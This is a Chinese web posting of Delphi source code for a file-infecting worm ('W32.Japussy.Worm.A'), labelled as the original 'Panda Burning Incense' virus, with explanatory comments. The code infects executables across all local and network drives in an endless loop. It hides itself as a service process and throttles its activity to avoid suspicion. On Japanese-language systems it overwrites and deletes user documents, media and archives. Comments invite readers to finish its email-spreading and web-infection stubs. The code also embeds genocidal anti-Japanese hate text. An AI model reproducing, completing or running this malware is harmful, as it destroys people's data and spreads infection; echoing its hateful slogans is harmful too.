“熊猫烧香”的最初源代码 和注释

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program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;         //病毒体的大小
IconOffset = $12EB8;       //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912;         //Upx压缩过病毒体的大小
IconOffset = $92BC;         //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;         //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID     = $44444444;       //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
    'If a country need to be destroyed, it must be Japan! ' +
    '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:   STARTUPINFO;
Pi:   PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
  dStream := TFileStream.Create(FileName, fmCreate);
  try
  sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
  dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
  finally
  dStream.Free;
  end;
finally
  sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
  Exit;
Infected := False;
IsPE   := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
  for i := 0 to $108 do //检查PE文件头
  begin
  SrcStream.Seek(i, soFromBeginning);
  SrcStream.Read(Buf, 2);
  if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
  begin
    IsPE := True; //是PE文件
    Break;
  end;
  end;
  SrcStream.Seek(-4, soFromEnd); //检查感染标记
  SrcStream.Read(iID, 4);
  if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
  Infected := True;
finally
  SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
  Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
  aIcon := TIcon.Create;
  try
  //得到被感染文件的主图标(744字节)，存入流
  aIcon.ReleaseHandle;
  aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
  aIcon.SaveToStream(IcoStream);
  finally
  aIcon.Free;
  end;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  //头文件
  HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
  //写入病毒体主图标之前的数据
  CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
  //写入目前程序的主图标
  CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
  //写入病毒体主图标到病毒体尾部之间的数据
  CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
  //写入宿主程序
  CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
  //写入已感染的标记
  DstStream.Seek(0, 2);
  iID := $44444444;
  DstStream.Write(iID, 4);
  finally
  HdrStream.Free;
  end;
finally
  SrcStream.Free;
  IcoStream.Free;
  DstStream.SaveToFile(FileName); //替换宿主文件
  DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
  Size := GetFileSize(FileHandle, nil); //文件大小
  i := 0;
  Randomize;
  Max := Random(15); //写入垃圾码的随机次数
  if Max < 5 then
  Max := 5;
  Mass := Size div Max; //每个间隔块的大小
  Len := Length(Catchword);
  while i < Max do
  begin
  FileSeek(FileHandle, i * Mass, 0); //定位
  //写入垃圾码，将文件彻底破坏掉
  FileWrite(FileHandle, Catchword, Len);
  Inc(i);
  end;
finally
  FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
  Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
  PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
  if IsValidDir(SearchRec) = 0 then
  begin
  Fn := Path + SearchRec.Name;
  Ext := UpperCase(ExtractFileExt(Fn));
  if (Ext = '.EXE') or (Ext = '.SCR') then
  begin
    InfectOneFile(Fn); //感染可执行文件 
  end
  else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
  begin
    //感染HTML和ASP文件，将Base64编码后的病毒写入
    //感染浏览此网页的所有用户
    //哪位大兄弟愿意完成之？
  end
  else if Ext = '.WAB' then //Outlook地址簿文件
  begin
    //获取Outlook邮件地址
  end
  else if Ext = '.ADC' then //foxmail地址自动完成文件
  begin
    //获取Foxmail邮件地址
  end
  else if Ext = 'IND' then //Foxmail地址簿文件
  begin
    //获取Foxmail邮件地址
  end
  else
  begin
    if IsJap then //是倭文操作系统
    begin
    if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
    (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
    (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
    (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
    (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
    (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
      SmashFile(Fn); //摧毁文件
    end;
  end;
  end;
  //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
  Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
  if IsValidDir(SearchRec) = 1 then
  SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
  LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
  0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end

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